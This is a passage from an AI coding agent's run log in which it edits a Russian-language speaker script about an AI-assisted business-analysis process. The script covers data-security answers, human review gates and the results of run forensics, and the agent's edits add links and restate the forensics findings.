\u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043d\u0430 \u0441\u0430\u043c\u043e\u043e\u0446\u0435\u043d\u043a\u0443, \u0430 \u043d\u0430 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u044b\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b: \u0432\u0445\u043e\u0434\u044b,\\n\u0432\u044b\u0445\u043e\u0434\u044b, \u0434\u0438\u0430\u043b\u043e\u0433\u0438 \u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u0413\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u044d\u0442\u043e \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n### \u00ab\u0427\u0442\u043e \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438?\u00bb\\n\\n\u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0435: Mango AI \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 API.\\n\u041a\u043b\u044e\u0447\u0438 \u043d\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u044b. \u0411\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b\\n\u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence \u0447\u0435\u0440\u0435\u0437 MCP\\n\u0432\u044b\u0434\u0430\u0451\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e, \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u044f. \u0410\u0433\u0435\u043d\u0442\u0443 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e\\n\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430.\\n\\n### \u00ab\u041d\u0435 \u0441\u0442\u0430\u043d\u0435\u0442 \u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0430 \u0433\u0435\u0439\u0442\u0435 \u0443\u0437\u043a\u0438\u043c \u043c\u0435\u0441\u0442\u043e\u043c?\u00bb\\n\\n\u0427\u0435\u043b\u043e\u0432\u0435\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u043e, \u0447\u0442\u043e \u043c\u0430\u0448\u0438\u043d\u0430 \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435 \u043c\u043e\u0436\u0435\u0442: \u0441\u043c\u044b\u0441\u043b, \u0441\u043f\u043e\u0440\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440,\\n\u043f\u0440\u0438\u0451\u043c\u043a\u0443. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 `M-3` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0430\u0432\u043e\u043a \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u0432\u043d\u043e\u0441\u0438\u0442 \u043f\u043e\u0441\u043b\u0435\\n\u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430. \u0415\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n### \u00ab\u0417\u0430\u0447\u0435\u043c \u0434\u0432\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430, GigaCode CLI \u0438 Cline?\u00bb\\n\\n\u042d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0441\u0440\u0435\u0434\u044b, \u0430 \u043d\u0435 \u0432\u044b\u0431\u043e\u0440 \u0432\u043a\u0443\u0441\u0430. \u0412 GigaCode CLI \u043d\u0435\u0442 API Mango AI, \u0430\\nCline \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 Mango AI. Source \u043e\u0434\u0438\u043d, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u043f\u0430\u043a\u0435\u0442\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n\u0430\u0434\u0430\u043f\u0442\u0435\u0440\u0430\u043c\u0438. \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u0441\u043d\u0438\u043c\u0430\u0435\u0442 \u044d\u0442\u0443 \u0440\u0430\u0437\u0432\u0438\u043b\u043a\u0443: \u044f\u0434\u0440\u043e \u043e\u0434\u043d\u043e, \u043a\u043b\u0438\u0435\u043d\u0442 \u2014\\n\u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430.\\n\\n### \u00ab\u0427\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442?\u00bb\\n\\n\u0414\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445\\n\u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0430\u043b\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u0435; \u043e\u0434\u0438\u043d \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f\\n\u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043e: \u0441\u043a\u0432\u043e\u0437\u043d\u043e\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445 \u0432 \u0434\u0432\u0443\u0445\\n\u043a\u043b\u0438\u0435\u043d\u0442\u0430\u0445 \u2014 \u044d\u0442\u043e \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 gate\\n[RFC \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u043f\u0438\u043b\u043e\u0442\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-source-pilot-verification.md).\\n\u0421\u043c\u044b\u0441\u043b\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e\u043a\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u043d\u0430 \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438:\\n\u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0438 \u00ab\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u00bb, \u0430 \u043d\u0435 \u0435\u0451 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c.\\n\u042d\u0442\u043e \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u044b \u043f\u043e \u0444\u0430\u0439\u043b\u0443 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c\\n\u0433\u0435\u0439\u0442\u043e\u043c.\\n\\n### \u00ab\u0421\u043a\u043e\u043b\u044c\u043a\u043e \u044d\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u0438 \u043a\u043e\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0433\u043e\u0442\u043e\u0432\u043e?\u00bb\\n\\n\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u043e\u0439 \u043e\u0446\u0435\u043d\u043a\u0438 \u0442\u0440\u0443\u0434\u043e\u0437\u0430\u0442\u0440\u0430\u0442 \u043d\u0435\u0442, \u0438 \u043c\u044b \u0435\u0451 \u043d\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c. \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\\n\u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0439 \u0418\u0411. \u0421\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c \u0421\u0440\u0435\u0434\u044b 4 \u0431\u0443\u0434\u0435\u0442 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u0432\\nRFC \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b (B-218) \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0448\u0430\u0433 2 \u0434\u0430\u0441\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0437\u0430\u043c\u0435\u0440\u0430.\\n\",\n[2026-09-29T07:55:44.786Z] [INFO]     \"structuredPatch\": [\n[2026-09-29T07:55:44.786Z] [INFO]       {\n[2026-09-29T07:55:44.786Z] [INFO]         \"oldStart\": 139,\n[2026-09-29T07:55:44.786Z] [INFO]         \"oldLines\": 13,\n[2026-09-29T07:55:44.786Z] [INFO]         \"newStart\": 139,\n[2026-09-29T07:55:44.786Z] [INFO]         \"newLines\": 13,\n[2026-09-29T07:55:44.786Z] [INFO]         \"lines\": [\n[2026-09-29T07:55:44.786Z] [INFO]           \" \",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"-  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+- \u041a \u0430\u0432\u0433\u0443\u0441\u0442\u0443 \u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"+  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\",\n[2026-09-29T07:55:44.786Z] [INFO]           \" - \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\",\n[2026-09-29T07:55:44.786Z] [INFO]           \"   [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\"\n[2026-09-29T07:55:44.786Z] [INFO]         ]\n[2026-09-29T07:55:44.786Z] [INFO]       }\n[2026-09-29T07:55:44.786Z] [INFO]     ],\n[2026-09-29T07:55:44.786Z] [INFO]     \"userModified\": false,\n[2026-09-29T07:55:44.786Z] [INFO]     \"replaceAll\": false,\n[2026-09-29T07:55:44.786Z] [INFO]     \"contentNotInModelContext\": true\n[2026-09-29T07:55:44.786Z] [INFO]   }\n[2026-09-29T07:55:44.786Z] [INFO] }\n[2026-09-29T07:55:47.626Z] [INFO] {\n[2026-09-29T07:55:47.626Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"message\": {\n[2026-09-29T07:55:47.626Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"id\": \"msg_011CfXNXzdyCp51htuBrcg98\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:47.626Z] [INFO]     \"content\": [\n[2026-09-29T07:55:47.626Z] [INFO]       {\n[2026-09-29T07:55:47.626Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"id\": \"toolu_01W9kumcj4tAyMZGzrmJfRwJ\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"name\": \"Edit\",\n[2026-09-29T07:55:47.626Z] [INFO]         \"input\": {\n[2026-09-29T07:55:47.626Z] [INFO]           \"replace_all\": false,\n[2026-09-29T07:55:47.626Z] [INFO]           \"file_path\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:55:47.626Z] [INFO]           \"old_string\": \"- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\",\n[2026-09-29T07:55:47.626Z] [INFO]           \"new_string\": \"- \u0412\u044b\u0432\u043e\u0434\\n  [\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. \u0426\u0438\u0442\u0430\u0442\u0430: \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442\u00bb.\"\n[2026-09-29T07:55:47.626Z] [INFO]         },\n[2026-09-29T07:55:47.626Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:47.626Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:47.626Z] [INFO]         }\n[2026-09-29T07:55:47.626Z] [INFO]       }\n[2026-09-29T07:55:47.626Z] [INFO]     ],\n[2026-09-29T07:55:47.626Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:47.626Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_creation_input_tokens\": 1683,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_read_input_tokens\": 53177,\n[2026-09-29T07:55:47.626Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:47.626Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:47.626Z] [INFO]         \"ephemeral_1h_input_tokens\": 1683\n[2026-09-29T07:55:47.626Z] [INFO]       },\n[2026-09-29T07:55:47.626Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:55:47.626Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:47.626Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:47.626Z] [INFO]     },\n[2026-09-29T07:55:47.626Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:47.626Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:47.626Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:47.626Z] [INFO]   },\n[2026-09-29T07:55:47.626Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:47.626Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"uuid\": \"57fd0d83-2a0b-41a8-b48d-1c765573898d\",\n[2026-09-29T07:55:47.626Z] [INFO]   \"timestamp\": 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\u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438. \u041e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f\\n  \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. 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[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md):\\n  \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430. \u041d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f. \u0422\u0435\u043a\u0443\u0449\u0435\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432\u044b\u0434\u0430\u0451\u0442\u0441\u044f \u0437\u0430 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435.\\n  \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 